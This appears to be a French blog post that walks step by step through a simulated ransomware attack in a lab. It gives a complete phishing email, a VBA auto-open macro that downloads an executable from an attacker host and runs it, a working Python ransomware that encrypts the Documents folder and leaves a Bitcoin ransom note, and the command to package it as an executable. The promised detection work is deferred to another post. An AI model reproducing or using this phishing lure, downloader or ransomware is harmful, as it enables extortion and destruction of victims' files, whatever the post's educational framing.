Introduction
Saviez-vous que les ransomwares sont l’une des cybermenaces les plus redoutées aujourd’hui, causant des milliards de pertes chaque année ? Ce week-end, j’ai décidé de faire quelque chose de different, et de plonger dans ce monde fascinant mais aussi inquiétant en créant…
Mon propre ransomware
Rassurez-vous, vous ne risquez rien, je suis quand meme quelqu’un de bien :)
L’idée derrière cet article est de vous guider à travers toutes les étapes d’une cyberattaque de type ransomware, de sa conception à son analyse. Pour rendre cela plus concret, j’ai imaginé un scénario fictif, soutenu par des machines réelles et des configurations bien établies.
À la fin, nous utiliserons Wazuh pour analyser ce qui s’est réellement passé et comprendre comment détecter efficacement ce genre d’attaques grâce à ses outils puissants.
Note importante : Ce projet est à but exclusivement éducatif. Je décline toute responsabilité quant à l’utilisation malveillante des informations ou du code présentés dans cet article.
Scenario
Un utilisateur nommé Mohamad reçoit un email alléchant l’informant qu’il a gagné un lot de délicieux pains au chocolat. Ravi, il suit les instructions et télécharge un fichier Excel à remplir pour obtenir son prix. Mais en l’ouvrant, il découvre une mauvaise surprise : tous les fichiers de son dossier Documents sont chiffrés. Un message apparaît, exigeant une rançon pour récupérer ses données.
Ce scénario va nous permettre d’explorer les étapes suivantes :
- Rédiger un email de phishing convaincant.
- Créer un fichier Excel malveillant avec une macro VBA.
- Développer un ransomware capable de chiffrer les fichiers de la victime.
Prérequis
Si jamais vous voulez également simuler cette attaque que je vais vous présenter, vous aurez besoin de 3 machines virtuelles. La première sera bien entendu la victime, où il y aura Windows 10. La deuxième sera l’attaquant ; pour cette attaque, je vais me contenter d’une machine Debian 12. Enfin, la troisième sera notre serveur Wazuh (pour l’installer, voici le lien vers mon article sur Wazuh).
Etape 1 : L’email de phishing
Commençons par l’étape la plus importante : c’est la seule étape qui déterminera si notre attaque réussira ou non. Nous allons rédiger un email de phishing qui incitera notre victime à télécharger notre fichier Excel malveillant.
Pour cela, rien de mieux que d’utiliser le point faible de toute personne : la gourmandise. Ici, nous allons convaincre notre victime qu’elle a gagné un lot de pains au chocolat et que, pour les recevoir, elle doit télécharger un fichier Excel joint à l’email.
Il existe de nombreux templates que nous pouvons utiliser pour rédiger notre email. Voici un lien qui présente de nombreux emails de phishing ayant été utilisés par le passé :
Mais dans notre cas, qui, je pense, est quand même une idée originale que personne n’a jamais eue, nous allons rédiger notre propre email (on ne va pas se mentir, ChatGPT a pas mal aidé pour ça).
Bonjour Mr Mohamad,
Nous sommes ravis de vous informer que vous avez été sélectionné(e) dans le cadre de notre campagne de fidélité pour recevoir un lot exclusif de pains au chocolat frais de votre boulangerie préférée, Les Écureuils Dormants.
Pour confirmer votre participation et organiser la réception de votre lot, nous vous invitons à :
- Télécharger le fichier Excel en pièce jointe.
- Remplir les informations demandées (nom, prénom, adresse, et coordonnées).
- Nous renvoyer le fichier dûment complété par retour d’e-mail avant le 08/12/2024 .
Veuillez noter que cette offre est valable jusqu’au 08/12/2024 . Passé ce délai, nous ne pourrons malheureusement plus garantir la disponibilité de votre cadeau.
Nous vous remercions pour votre fidélité et espérons vous revoir bientôt chez Les Écureuils Dormants.
Cordialement,
L’équipe Les Écureuils Dormants
Service Relation Client
Ce mail contient tous les éléments nécessaires pour que notre victime tombe dans le panneau : il est bien rédigé (sans faute d’orthographe flagrante), crédible, et surtout gourmand :) .
Il nous manque maintenant à créer notre fichier Excel malveillant. Pour cela, passons à l’étape 2.
Etape 2 : Créer un fichier Excel malveillant
Peut-être que vous ne les connaissez pas, mais les professionnels des fichiers Excel utilisent souvent une fonctionnalité très puissante de Excel : les macros VBA. Ces macros VBA permettent, entre autres, de créer des scripts qui s’exécutent dès qu’on ouvre le fichier Excel.
Un comptable, par exemple, peut économiser des heures de travail en créant une macro VBA qui lui permet de réaliser des calculs automatiquement. Mais un attaquant, lui, peut chiffrer tous les fichiers de la victime dès qu’elle ouvre un fichier Excel. Chacun y trouve son compte.
Pour ce qui est du fichier Excel en soi, je vais me contenter d’un fichier très basique, avec deux colonnes : une pour le nom de notre victime et une autre pour ses disponibilités.
Voici à quoi ce fichier Excel basique va ressembler :
Je ne suis pas un designer graphique, mais je pense que cela suffit. Passons maintenant à l’écriture de notre macro VBA.
Pour créer une macro VBA, il suffit de cliquer sur l’onglet Développeur, puis sur Visual Basic. Là, vous pouvez écrire votre macro.
Voici à quoi va ressembler notre macro VBA. Elle permettra d’aller chercher un fichier (.exe) sur le serveur de notre attaquant et de l’exécuter dès qu’on ouvre le fichier Excel. Je me suis basé sur un script trouvé sur Internet, que j’ai légèrement modifié pour qu’il corresponde à notre scénario :
Private Sub Workbook_Open()
Dim shellApp As Object
Set shellApp = CreateObject("WScript.Shell")
' Check if Excel is already running
Dim excelApp As Object
On Error Resume Next
Set excelApp = GetObject(, "Excel.Application")
On Error GoTo 0
' Start Excel in a separate process if it is not already running
If excelApp Is Nothing Then
shellApp.Run "excel.exe", 1, False
End If
' Specify the URL of the exe file
Dim fileURL As String
fileURL = "http://192.168.9.105/JeSuisSimpa.exe"
' Download the exe file to a temporary location
Dim tempFilePath As String
tempFilePath = Environ("TEMP") & "\JeSuisSimpa.exe"
Dim xmlhttp As Object
Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
xmlhttp.Open "GET", fileURL, False
xmlhttp.send
If xmlhttp.Status = 200 Then
Dim stream As Object
Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1 ' Binary
stream.Write xmlhttp.responseBody
stream.SaveToFile tempFilePath, 2 ' Overwrite
stream.Close
End If
' Execute the downloaded malicious exe file
shellApp.Run tempFilePath, 1, False
End Sub
Voila le lient du script original : Excel Macro
Donc rien de compliqué : cette macro va s’exécuter dès qu’on ouvre le fichier Excel. Elle va télécharger un fichier JeSuisSimpa.exe depuis le serveur de notre attaquant et l’exécuter. Je vous laisse imaginer ce que fait ce fichier JeSuisSimpa.exe. (Je vais vous spoiler : il chiffre tous les fichiers de la victime).
Mais cette attaque dépend d’un critère essentiel : que notre victime ait activé les macros VBA sur son Excel. Donc, soit elle appuie sur le bouton Activer les macros, soit elle a déjà activé n’importe quelle macro dans le passé, et dans ce cas, la macro s’exécutera automatiquement sans même lui demander sa permission.
Etape 3 : Le ransomware
Ah, le ransomware ! Je sais que vous avez tous attendu cette étape avec impatience. Le ransomware est au cœur de notre attaque, c’est lui qui va chiffrer tous les fichiers de notre victime et lui demander une rançon pour les récupérer.
Pour notre scénario, j’ai décidé de créer un ransomware très basique. Bien entendu, je ne vais pas utiliser des ransomwares créés par les grands criminels, qui, par ailleurs, sont facilement trouvables sur Internet. Au contraire, je vais écrire mon propre ransomware pour que vous puissiez voir à quel point il est facile de créer un code pouvant causer de nombreux dégâts.
Note : S’il vous plaît, je vous en prie, ne développez pas ce code sur votre machine personnelle, et encore moins ne l’exécutez. Une fausse commande peut arriver très rapidement, et vous pourriez perdre tous vos fichiers. Même si, comme vous allez le voir, je vais afficher la clé de déchiffrement, je vous assure que ce n’est pas une bonne idée.
Pour créer notre ransomware, je vais utiliser Python et plus précisément la librairie cryptography. Celle-ci va nous permettre de chiffrer les fichiers dans un répertoire de données. Avant de commencer à coder, je vous présente la logique globale de notre ransomware :
Génération de la clef :
- Nous allons générer une clé de chiffrement, qui permettra de chiffrer les fichiers de la victime. Cette clé sera unique pour chaque victime.
Ciblage du répertoire des documents :
- Le script identifie et accède au dossier “Documents” de l’utilisateur via son chemin par défaut.
Chiffrement des fichiers :
- Tous les fichiers présents dans le dossier “Documents” seront chiffrés avec la clé générée.
Création d’une note de rançon :
- Nous allons créer un fichier texte contenant les instructions pour la victime, ainsi que la manière de récupérer ses fichiers en échange d’une rançon.
Bon, fini de parler, passons au code :
import os
from cryptography.fernet import Fernet
# Génération et stockage de la clé
KEY = Fernet.generate_key()
cipher = Fernet(KEY)
def encrypt_file(file_path):
try:
with open(file_path, 'rb') as file:
data = file.read()
encrypted_data = cipher.encrypt(data)
with open(file_path, 'wb') as file:
file.write(encrypted_data)
# Renommer le fichier pour ajouter l'extension .poubelle
new_file_path = f"{file_path}.poubelle"
os.rename(file_path, new_file_path)
print(f"[INFO] {file_path} a été chiffré et renommé en {new_file_path}.")
except Exception as e:
print(f"[ERREUR] Impossible de chiffrer {file_path}: {e}")
def create_ransom_note(directory):
note_path = os.path.join(directory, "README_RECUPERER_VOS_FICHIERS.txt")
with open(note_path, 'w') as note:
note.write(
"Vos fichiers ont été chiffrés. Pour les récupérer, veuillez envoyer 1 BTC à l'adresse suivante: makhalBTC.btc\n"
"Contactez-nous à [email protected] pour la clé de déchiffrement."
)
print(f"[INFO] Note de rançon créée: {note_path}")
def main():
# Chemin du dossier à cibler
target_directory = os.path.expanduser("~/Documents")
if not os.path.exists(target_directory):
print(f"[ERREUR] Le dossier {target_directory} n'existe pas.")
return
# Récupération des fichiers à chiffrer
for root, _, files in os.walk(target_directory):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path)
# Création de la note de rançon
create_ransom_note(target_directory)
# Affichage de la clé pour une démonstration éthique
print(f"[INFO] Clé de déchiffrement (gardez-la précieusement): {KEY.decode()}")
if __name__ == "__main__":
main()
Vous allez me dire : “C’est tout ?” Oui, c’est tout. Et pourtant, ce petit bout de code peut rendre inutilisables tous les fichiers d’une victime.
Avant d’aller plus loin, je tiens à préciser : je comprends vos préoccupations. Vous vous demandez peut-être si c’est une bonne idée de partager un script capable de chiffrer toutes les données de quelqu’un. Mais il est important de comprendre que ce genre d’outil est déjà accessible à tous. Avec des outils comme ChatGPT et d’autres IA, il est devenu incroyablement facile d’obtenir ce type de script. Plutôt que de limiter le partage d’informations, je pense qu’il est crucial de sensibiliser et d’éduquer :
- Comment se protéger contre ces attaques.
- Que faire si une telle attaque survient.
Mon but ici est uniquement éducatif : montrer à quel point un ransomware peut être simple à concevoir et insister sur l’importance de la cybersécurité. Ce script n’a rien de révolutionnaire ; un simple prompt dans un outil d’IA pourrait vous fournir quelque chose de similaire. Ce que je montre, c’est que même un étudiant en Réseaux et Télécommunications, avec des compétences de base, peut créer un outil qui pourrait causer des dégâts.
En ce qui concerne le code, il est bien commenté, donc je ne vais pas m’attarder dessus. J’ai simplement pris la logique que nous avons définie plus haut, y ai ajouté un peu de gestion d’erreurs, et voilà, vous avez votre script ransomware.
Il faut maintenant, bien entendu, faire en sorte que ce script soit exécuté sur n’importe quel système, même s’il n’y a pas Python d’installé dessus. Pour cela, on peut utiliser des outils comme pyinstaller, qui va nous permettre de créer un exécutable à partir de notre script Python.
Pour créer notre exécutable, il suffit de lancer la commande suivante :
pyinstaller --onefile ransomware.py
Lorsque vous lancerez cette commande, vous obtiendrez un output similaire à celui-ci :
Et voilà, dans un dossier dist, vous trouverez votre exécutable, que vous pouvez envoyer à votre serveur C&C.
Lancement de l’attaque
Maintenant que nous avons tout ce qu’il nous faut, il ne nous reste plus qu’à lancer notre attaque.
Pour récapituler, voici toutes les étapes que nous avons réalisées :
- Nous avons rédigé un email de phishing convaincant.
- Nous avons créé un fichier Excel malveillant avec une macro VBA.
- Nous avons développé un ransomware capable de chiffrer les fichiers de la victime.
Il ne nous reste maintenant plus qu’à envoyer notre email à notre victime et attendre qu’elle ouvre le fichier Excel.
Voici une petite vidéo qui vous montre ce qui se passe dès que la victime ouvre le fichier Excel :
Je ne peux pas vous montrer comment la victime a cliqué sur le mail, mais je connais personnellement Mohamad, et je peux vous dire qu’un lot gratuit de pains au chocolat, il ne peut pas y résister.
Conclusion
Et voilà, nous avons terminé notre attaque de ransomware. Il ne nous reste maintenant plus qu’à attendre que la victime nous envoie l’argent.
Plus sérieusement, j’espère que cet article vous a plu et qu’il vous a permis de mieux comprendre comment fonctionne une attaque de ransomware. Dans un prochain article, je vous montrerai comment analyser cette attaque avec Wazuh. Nous examinerons en détails les logs, les alertes, et nous verrons comment détecter ce genre d’attaques.
D’ici là, comme toujours, restez curieux et surtout, restez en sécurité.